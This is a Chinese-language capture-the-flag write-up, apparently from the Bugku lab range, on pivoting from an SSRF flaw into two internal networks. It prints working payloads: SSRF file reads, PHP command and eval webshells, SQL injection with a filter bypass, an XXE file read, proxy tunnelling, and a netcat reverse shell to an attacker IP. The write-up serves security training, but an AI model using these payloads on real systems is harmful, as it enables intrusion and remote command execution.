记录一次坎坷的打靶经历·三
字数 1912 2025-08-11 08:36:18
SSRF漏洞利用与内网渗透实战教学
前言
本教学文档基于一次完整的SSRF漏洞利用和内网渗透实战过程,详细讲解如何从外部Web应用通过SSRF漏洞逐步深入内网,获取多个flag。本案例涉及SSRF漏洞利用、内网主机探测、SQL注入、XXE漏洞、代理隧道搭建等多个知识点。
环境概述
- 目标网络:外部IP开放80端口
- 内网网段:192.168.0.0/24和10.10.0.0/24
- 共8个flag分布在不同的系统和位置
0x01 Flag1获取 - SSRF漏洞利用
漏洞发现
目标网站提供了一个"站点快照获取"功能,这通常是SSRF(Server-Side Request Forgery)漏洞的典型场景。
SSRF利用方法
-
探测内网:
- 使用
file://协议读取本地文件:file:///var/www/html/index.php - 通过查看页面源码确认SSRF漏洞存在
- 使用
-
直接读取flag:
- 猜测flag位于根目录:
file:///flag - 直接获取第一个flag
- 猜测flag位于根目录:
关键点
- PHP站点常见的SSRF可利用协议:
http://:探测内网主机存活和端口开放gopher://:发送GET/POST请求,攻击内网应用dict://:泄露软件版本信息,操作内网redisfile://:读取本地文件
0x02 Flag2和Flag3获取 - 内网主机探测与Web Shell利用
内网探测
-
使用
file://协议查看网络信息:- 发现192.168.0.2/24网段
-
通过SSRF探测内网主机:
- 构造请求:
http://192.168.0.1 - 使用Burp爆破最后一位(1-254)
- 通过返回包长度判断存活主机
- 构造请求:
-
发现四台内网主机:
- 192.168.0.10
- 192.168.0.138
- 192.168.0.250
- (另一台未明确提及)
Web Shell利用
-
对192.168.0.10进行目录爆破:
- 发现
shell.php文件 - 内容:
<?php system($_GET['cmd']);?>
- 发现
-
执行命令获取flag:
http://192.168.0.10/shell.php?cmd=ls / # 查看根目录 http://192.168.0.10/shell.php?cmd=cat /flag # 读取flag- 获取flag2和flag3
0x03 Flag4获取 - SQL注入绕过
目标主机:192.168.0.138
-
发现SQL注入点:
- URL参数:
id - 初步测试:
1' or 1=1#被过滤
- URL参数:
-
绕过技术:
- 空格被过滤,使用
+代替 - 构造payload:
?id=-1+and+1=2+union+select+1,2,3,4 # 确定回显点 ?id=-1+and+1=2+union+select+1,database(),3,4 # 查数据库名
- 空格被过滤,使用
-
数据提取:
- 数据库名:
bugku_sql - 表名:
double和flag(通过order by获取) - 列名:
flag - 最终payload:
?id=-1+and+1=2+union+select+1,database(),3,flag+from+bugku_sql.flag
- 数据库名:
0x04 Flag7和Flag8获取 - XXE漏洞利用
目标主机:192.168.0.250
-
建立代理隧道:
- 通过192.168.0.10的shell下载frpc
- 使用nc反弹shell:
nc -e /bin/sh <攻击者IP> <端口> - 给frpc添加执行权限:
chmod +x frpc - 建立socks5隧道
-
XXE漏洞利用:
- 发现登录界面,使用弱口令
admin/admin - 抓包分析响应,发现XXE漏洞特征
- 构造XXE payload读取文件:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <foo>&xxe;</foo> - 获取flag7和flag8
- 发现登录界面,使用弱口令
0x05 Flag5和Flag6获取 - 深层内网渗透
发现第二层内网
-
通过192.168.0.10的shell发现:
- 另一网段:10.10.0.5/24
-
扫描技术对比:
fscan扫描无结果proxychains4配合nmap扫描成功:proxychains4 nmap -sT -Pn 10.10.0.22 -p 80- 发现10.10.0.22:80
Web应用渗透
-
目录爆破:
- 发现
admin.php - 弱口令
admin/admin登录
- 发现
-
文件上传漏洞:
- 进入"文件夹管理"
- 查看
.htaccess文件,确认只解析php - 上传php一句话木马:
<?php @eval($_POST['cmd']);?> - 使用蚁剑连接
- 在根目录和网站目录下获取flag5和flag6
总结与关键知识点
-
SSRF漏洞利用:
- 多种协议的综合利用
- 内网探测和信息收集
-
内网横向移动:
- 从外网到第一层内网(192.168.0.0/24)
- 从第一层内网到第二层内网(10.10.0.0/24)
-
漏洞利用技术:
- SQL注入绕过(空格过滤)
- XXE漏洞文件读取
- Web Shell上传与利用
-
代理与隧道技术:
- frp内网穿透
- socks5代理建立
- proxychains工具使用
-
信息收集工具:
- nmap扫描
- dirb/dirbuster目录爆破
- Burp Suite抓包与爆破
-
权限维持:
- NC反弹Shell
- 一句话木马上传
通过本案例,可以系统学习从外网到内网的多层渗透技术,掌握多种漏洞的综合利用方法。